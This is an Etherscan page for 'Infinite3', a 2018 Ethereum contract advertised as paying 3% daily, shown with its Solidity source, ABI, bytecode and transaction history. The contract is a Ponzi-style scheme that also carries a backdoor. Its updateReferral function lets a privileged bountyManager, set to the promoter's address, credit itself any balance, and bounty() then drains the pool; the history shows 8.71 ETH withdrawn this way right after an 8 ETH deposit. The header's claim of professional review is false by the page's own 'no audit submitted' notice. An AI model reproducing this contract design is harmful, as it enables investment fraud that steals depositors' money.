Source Code
Overview
ETH Balance
0.010483541666666668 ETH
Eth Value
$21.00 (@ $2,003.44/ETH)Latest 14 from a total of 14 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Buy | 6462559 | 2730 days ago | IN | 0.01 ETH | 0.00028954 | ||||
| Bounty | 6455011 | 2731 days ago | IN | 0 ETH | 0.00040838 | ||||
| Update Referral | 6455005 | 2731 days ago | IN | 0 ETH | 0.00093557 | ||||
| Buy | 6450262 | 2732 days ago | IN | 0.01 ETH | 0.00065148 | ||||
| Transfer | 6447196 | 2732 days ago | IN | 0.01 ETH | 0.00033995 | ||||
| Buy | 6447093 | 2732 days ago | IN | 0.45 ETH | 0.00088161 | ||||
| Buy | 6447071 | 2732 days ago | IN | 0.1 ETH | 0.00072132 | ||||
| Buy | 6446926 | 2732 days ago | IN | 0.1 ETH | 0.00072132 | ||||
| Buy | 6446926 | 2732 days ago | IN | 0.1 ETH | 0.00072132 | ||||
| Buy | 6446909 | 2732 days ago | IN | 8 ETH | 0.00072132 | ||||
| Buy | 6446867 | 2732 days ago | IN | 0.01 ETH | 0.00072132 | ||||
| Withdraw | 6446705 | 2732 days ago | IN | 0 ETH | 0.00032166 | ||||
| Buy | 6446690 | 2732 days ago | IN | 0.02 ETH | 0.00178749 | ||||
| Transfer | 6446104 | 2732 days ago | IN | 69 wei | 0.00017709 |
Latest 25 internal transactions (View All)
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 6462559 | 2730 days ago | 0.00005 ETH | ||||
| Transfer | 6462559 | 2730 days ago | 0.00005 ETH | ||||
| Transfer | 6462559 | 2730 days ago | 0.00119791 ETH | ||||
| Transfer | 6455011 | 2731 days ago | 8.71 ETH | ||||
| Transfer | 6450262 | 2732 days ago | 0.00005 ETH | ||||
| Transfer | 6450262 | 2732 days ago | 0.00005 ETH | ||||
| Transfer | 6450262 | 2732 days ago | 0.0001652 ETH | ||||
| Transfer | 6447196 | 2732 days ago | 0.00005 ETH | ||||
| Transfer | 6447196 | 2732 days ago | 0.00005 ETH | ||||
| Transfer | 6447196 | 2732 days ago | 0.00005166 ETH | ||||
| Transfer | 6447093 | 2732 days ago | 0.00225 ETH | ||||
| Transfer | 6447093 | 2732 days ago | 0.00225 ETH | ||||
| Transfer | 6447071 | 2732 days ago | 0.0005 ETH | ||||
| Transfer | 6447071 | 2732 days ago | 0.0005 ETH | ||||
| Transfer | 6446926 | 2732 days ago | 0.0005 ETH | ||||
| Transfer | 6446926 | 2732 days ago | 0.0005 ETH | ||||
| Transfer | 6446926 | 2732 days ago | 0.0005 ETH | ||||
| Transfer | 6446926 | 2732 days ago | 0.0005 ETH | ||||
| Transfer | 6446909 | 2732 days ago | 0.04 ETH | ||||
| Transfer | 6446909 | 2732 days ago | 0.04 ETH | ||||
| Transfer | 6446867 | 2732 days ago | 0.00005 ETH | ||||
| Transfer | 6446867 | 2732 days ago | 0.00005 ETH | ||||
| Transfer | 6446705 | 2732 days ago | 0.00000166 ETH | ||||
| Transfer | 6446690 | 2732 days ago | 0.0001 ETH | ||||
| Transfer | 6446690 | 2732 days ago | 0.0001 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Infinite3
Compiler Version
v0.4.25+commit.59dbf8f1
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2018-10-03
*/
pragma solidity ^0.4.24;
/**
*
* Infinite3 Contract
* - GAIN 3% EVERY 24 HOURS (every 5900 blocks)
* - 0.5% for Promotion on your investment (every ether stays on contract's balance)
* - 0.5% dev commision
* - 10% affliate commision
* - 89% Payout commision
*
* How to use:
* 1. Send any amount of ether to make an investment(minimum 0.01)
* 2a. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're spending too much on GAS)
* OR
* 2b. Send more ether to reinvest AND get your profit at the same time
*
* RECOMMENDED GAS LIMIT: 100000000000000000000
* RECOMMENDED GAS PRICE: https://ethgasstation.info/
* https://infinite3.life
* https://discord.gg/qnjcFWq
* Contract reviewed and approved by professionals!
*
*/
contract Infinite3{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 3;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0xf8EeAe7abe051A0B7a4ec5758af411F870A8Add3;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Сonstructor Sets the original roles of the contract
*/
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
/**
* @dev Modifiers
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
/**
* @dev Allows current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
* @param newOwnerWallet The address to transfer ownership to.
*/
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
/**
* @dev Investments
*/
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(1000).mul(5));
promoter.transfer(msg.value.div(1000).mul(5));
emit Invest(msg.sender, msg.value);
}
/**
* @dev Evaluate current balance
* @param _address Address of investor
*/
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
/**
* @dev Withdraw dividends from contract
*/
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
/**
* @dev Bounty reward
*/
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
/**
* @dev Gets balance of the sender address.
* @return An uint256 representing the amount owned by the msg.sender.
*/
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
/**
* @dev Gets withdrawals of the specified address.
* @param _investor The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
/**
* @dev Gets investments of the specified address.
* @param _investor The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
/**
* @dev Gets referrer balance of the specified address.
* @param _hunter The address of the referrer
* @return An uint256 representing the referral earnings.
*/
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
/**
* @dev Updates referrer balance
* @param _hunter The address of the referrer
* @param _amount An uint256 representing the referral earnings.
*/
function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"constant":true,"inputs":[{"name":"_hunter","type":"address"}],"name":"checkReferral","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"minimum","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"},{"name":"newOwnerWallet","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_investor","type":"address"}],"name":"checkInvestments","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"ownerWallet","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"bounty","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_investor","type":"address"}],"name":"checkWithdrawals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"bountyManager","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"checkBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_hunter","type":"address"},{"name":"_amount","type":"uint256"}],"name":"updateReferral","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"step","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_address","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_bountyManager","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"investor","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Invest","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"investor","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Withdraw","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"hunter","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Bounty","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}]Contract Creation Code
6080604052662386f26fc10000600455600360055560098054600160a060020a03191673f8eeae7abe051a0b7a4ec5758af411f870a8add317905534801561004657600080fd5b5060405160208061091183398101604052516007805433600160a060020a0319918216811790925560068054821690921790915560088054909116600160a060020a03909216919091179055610870806100a16000396000f3006080604052600436106100cf5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c19f80e81146102345780633ccfd60b1461026757806352d6804d146102905780636d435421146102a5578063835c1154146102ce5780638da5cb5b146102ef5780639335dcb714610320578063943dfef1146103355780639d9fcc721461034a578063b36b9ffd1461036b578063c71daccb14610380578063d3cde1a514610395578063e25fe175146103b9578063f8b2cb4f146103ce575b6004543410156100de57600080fd5b336000908152602081905260408120541115610112576100fc6103ef565b1561011257336000908152600260205260408120555b33600090815260208190526040902054610132903463ffffffff6104d616565b33600090815260208181526040808320939093556001905220429055600654600160a060020a03166108fc6101806005610174346103e863ffffffff6104f016565b9063ffffffff61050716565b6040518115909202916000818181858888f193505050501580156101a8573d6000803e3d6000fd5b50600954600160a060020a03166108fc6101cf6005610174346103e863ffffffff6104f016565b6040518115909202916000818181858888f193505050501580156101f7573d6000803e3d6000fd5b506040805133815234602082015281517fd90d253a9de34d2fdd5a75ae49ea17fcb43af32fc8ea08cc6d2341991dd3872e929181900390910190a1005b34801561024057600080fd5b50610255600160a060020a0360043516610532565b60408051918252519081900360200190f35b34801561027357600080fd5b5061027c6103ef565b604080519115158252519081900360200190f35b34801561029c57600080fd5b5061025561054d565b3480156102b157600080fd5b506102cc600160a060020a0360043581169060243516610553565b005b3480156102da57600080fd5b50610255600160a060020a03600435166105f4565b3480156102fb57600080fd5b5061030461060f565b60408051600160a060020a039092168252519081900360200190f35b34801561032c57600080fd5b5061030461061e565b34801561034157600080fd5b506102cc61062d565b34801561035657600080fd5b50610255600160a060020a03600435166106c8565b34801561037757600080fd5b506103046106e3565b34801561038c57600080fd5b506102556106f2565b3480156103a157600080fd5b506102cc600160a060020a0360043516602435610702565b3480156103c557600080fd5b50610255610762565b3480156103da57600080fd5b50610255600160a060020a0360043516610768565b336000908152600160205260408120548190811061040c57600080fd5b61041533610768565b905030318110156104cd5760008111156104c45733600090815260026020526040902054610449908263ffffffff6104d616565b33600081815260026020526040808220939093559151909183156108fc02918491818181858888f19350505050158015610487573d6000803e3d6000fd5b50604080513381526020810183905281517f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929181900390910190a15b600191506104d2565b600091505b5090565b6000828201838110156104e557fe5b8091505b5092915050565b60008082848115156104fe57fe5b04949350505050565b60008083151561051a57600091506104e9565b5082820282848281151561052a57fe5b04146104e557fe5b600160a060020a031660009081526003602052604090205490565b60045481565b600754600160a060020a0316331461056a57600080fd5b600160a060020a038216151561057f57600080fd5b600754604051600160a060020a038085169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360078054600160a060020a0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560068054929093169116179055565b600160a060020a031660009081526020819052604090205490565b600754600160a060020a031681565b600654600160a060020a031681565b600061063833610532565b60045490915081106106c55730318110156106c557336000818152600360205260408082208290555183156108fc0291849190818181858888f19350505050158015610688573d6000803e3d6000fd5b50604080513381526020810183905281517f4cc4e2a1284006914465e82a99bce908c3ad5b5d4b08fbef40faf68169cee2a8929181900390910190a15b50565b600160a060020a031660009081526002602052604090205490565b600854600160a060020a031681565b60006106fd33610768565b905090565b600854600160a060020a0316331461071957600080fd5b600160a060020a038216600090815260036020526040902054610742908263ffffffff6104d616565b600160a060020a0390921660009081526003602052604090209190915550565b60055481565b600160a060020a03811660009081526001602052604081205481908190819081906107ad90603c906107a190429063ffffffff61083216565b9063ffffffff6104f016565b600554600160a060020a0388166000908152602081905260409020549195506107e3916064916107a1919063ffffffff61050716565b92506107fb6105a06107a1858763ffffffff61050716565b600160a060020a03871660009081526002602052604090205490925061082890839063ffffffff61083216565b9695505050505050565b60008282111561083e57fe5b509003905600a165627a7a72305820417145abe869db1c11bdb6df220c9f7e48ec38f1c45d09851cd4e31f7628e4de0029000000000000000000000000f8eeae7abe051a0b7a4ec5758af411f870a8add3
Deployed Bytecode
0x6080604052600436106100cf5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c19f80e81146102345780633ccfd60b1461026757806352d6804d146102905780636d435421146102a5578063835c1154146102ce5780638da5cb5b146102ef5780639335dcb714610320578063943dfef1146103355780639d9fcc721461034a578063b36b9ffd1461036b578063c71daccb14610380578063d3cde1a514610395578063e25fe175146103b9578063f8b2cb4f146103ce575b6004543410156100de57600080fd5b336000908152602081905260408120541115610112576100fc6103ef565b1561011257336000908152600260205260408120555b33600090815260208190526040902054610132903463ffffffff6104d616565b33600090815260208181526040808320939093556001905220429055600654600160a060020a03166108fc6101806005610174346103e863ffffffff6104f016565b9063ffffffff61050716565b6040518115909202916000818181858888f193505050501580156101a8573d6000803e3d6000fd5b50600954600160a060020a03166108fc6101cf6005610174346103e863ffffffff6104f016565b6040518115909202916000818181858888f193505050501580156101f7573d6000803e3d6000fd5b506040805133815234602082015281517fd90d253a9de34d2fdd5a75ae49ea17fcb43af32fc8ea08cc6d2341991dd3872e929181900390910190a1005b34801561024057600080fd5b50610255600160a060020a0360043516610532565b60408051918252519081900360200190f35b34801561027357600080fd5b5061027c6103ef565b604080519115158252519081900360200190f35b34801561029c57600080fd5b5061025561054d565b3480156102b157600080fd5b506102cc600160a060020a0360043581169060243516610553565b005b3480156102da57600080fd5b50610255600160a060020a03600435166105f4565b3480156102fb57600080fd5b5061030461060f565b60408051600160a060020a039092168252519081900360200190f35b34801561032c57600080fd5b5061030461061e565b34801561034157600080fd5b506102cc61062d565b34801561035657600080fd5b50610255600160a060020a03600435166106c8565b34801561037757600080fd5b506103046106e3565b34801561038c57600080fd5b506102556106f2565b3480156103a157600080fd5b506102cc600160a060020a0360043516602435610702565b3480156103c557600080fd5b50610255610762565b3480156103da57600080fd5b50610255600160a060020a0360043516610768565b336000908152600160205260408120548190811061040c57600080fd5b61041533610768565b905030318110156104cd5760008111156104c45733600090815260026020526040902054610449908263ffffffff6104d616565b33600081815260026020526040808220939093559151909183156108fc02918491818181858888f19350505050158015610487573d6000803e3d6000fd5b50604080513381526020810183905281517f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364929181900390910190a15b600191506104d2565b600091505b5090565b6000828201838110156104e557fe5b8091505b5092915050565b60008082848115156104fe57fe5b04949350505050565b60008083151561051a57600091506104e9565b5082820282848281151561052a57fe5b04146104e557fe5b600160a060020a031660009081526003602052604090205490565b60045481565b600754600160a060020a0316331461056a57600080fd5b600160a060020a038216151561057f57600080fd5b600754604051600160a060020a038085169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360078054600160a060020a0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560068054929093169116179055565b600160a060020a031660009081526020819052604090205490565b600754600160a060020a031681565b600654600160a060020a031681565b600061063833610532565b60045490915081106106c55730318110156106c557336000818152600360205260408082208290555183156108fc0291849190818181858888f19350505050158015610688573d6000803e3d6000fd5b50604080513381526020810183905281517f4cc4e2a1284006914465e82a99bce908c3ad5b5d4b08fbef40faf68169cee2a8929181900390910190a15b50565b600160a060020a031660009081526002602052604090205490565b600854600160a060020a031681565b60006106fd33610768565b905090565b600854600160a060020a0316331461071957600080fd5b600160a060020a038216600090815260036020526040902054610742908263ffffffff6104d616565b600160a060020a0390921660009081526003602052604090209190915550565b60055481565b600160a060020a03811660009081526001602052604081205481908190819081906107ad90603c906107a190429063ffffffff61083216565b9063ffffffff6104f016565b600554600160a060020a0388166000908152602081905260409020549195506107e3916064916107a1919063ffffffff61050716565b92506107fb6105a06107a1858763ffffffff61050716565b600160a060020a03871660009081526002602052604090205490925061082890839063ffffffff61083216565b9695505050505050565b60008282111561083e57fe5b509003905600a165627a7a72305820417145abe869db1c11bdb6df220c9f7e48ec38f1c45d09851cd4e31f7628e4de0029
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000f8eeae7abe051a0b7a4ec5758af411f870a8add3
-----Decoded View---------------
Arg [0] : _bountyManager (address): 0xf8EeAe7abe051A0B7a4ec5758af411F870A8Add3
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000f8eeae7abe051a0b7a4ec5758af411f870a8add3
Swarm Source
bzzr://417145abe869db1c11bdb6df220c9f7e48ec38f1c45d09851cd4e31f7628e4de
Loading...
Loading
Loading...
Loading
Net Worth in USD
$21.01
Net Worth in ETH
0.010486
Token Allocations
ETH
100.00%
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|---|---|---|---|---|
| ETH | 100.00% | $2,003.96 | 0.0105 | $21.01 |
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.